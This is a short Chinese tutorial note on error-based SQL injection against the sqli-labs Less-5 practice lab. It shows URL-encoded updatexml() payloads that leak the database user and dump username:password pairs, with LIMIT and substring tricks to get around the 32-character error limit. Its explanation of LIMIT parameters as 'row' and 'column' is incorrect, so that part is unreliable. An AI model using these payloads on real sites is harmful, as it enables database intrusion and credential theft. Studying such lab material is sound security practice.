报错注入是一种常见的SQL 注入方式,通过注入代码,触发数据库的错误响应,并从错误信息中获取有用的信息。
updatexml和extractvalue
updatexml和extractvalue 是常用的两个报错注入函数
http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(%27~%27,(select%20user())),1)--+
updatexml() 函数和extractvalue()的报错内容长度不能超过 32 个字符,当我们查询的内容较短时可以完整显示,若查询内容较长,则导致我们要查询的的内容显示不全。
http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x3a,password)from%20users),0x7e),1)--+
我们可以使用 limit或者分段显示的方式来解决
limit
limit函数包含两个参数,第一个参数表示行,第二个参数表示列,我们可以通过换参,逐个查看。
http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)--+
limit 1 1 2 1 3 1 数据少了挨个试 数据多了写脚本
limit 8 1 的时候查到了admin
分段显示 substring
一次截32个 慢慢截
http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20substring(group_concat(username,0x3a,password),64,96)from%20users),0x7e),1)--+